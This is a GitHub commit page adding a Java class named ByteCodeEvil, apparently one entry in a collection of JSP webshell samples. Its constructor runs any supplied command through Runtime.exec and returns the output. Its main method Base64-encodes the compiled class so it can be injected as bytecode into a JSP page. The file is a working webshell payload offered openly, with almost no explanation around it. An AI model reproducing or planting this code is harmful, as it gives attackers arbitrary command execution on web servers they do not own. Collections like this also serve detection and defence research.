Skip to content

Commit

Permalink
Create ByteCodeEvil.java
Browse files Browse the repository at this point in the history
  • Loading branch information
threedr3am authored Sep 22, 2021
1 parent 30285f7 commit f1053c4
Showing 1 changed file with 33 additions and 0 deletions.
33 changes: 33 additions & 0 deletions jsp/20/ByteCodeEvil.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;

public class ByteCodeEvil {
String res;

public ByteCodeEvil(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));

String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}

this.res = stringBuilder.toString();
}

public String toString() {
return this.res;
}

public static void main(String[] args) throws IOException {
InputStream inputStream = ByteCodeEvil.class.getClassLoader().getResourceAsStream("ByteCodeEvil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Base64.getEncoder().encodeToString(bytes);
System.out.println(code);
}
}

0 comments on commit f1053c4

Please sign in to comment.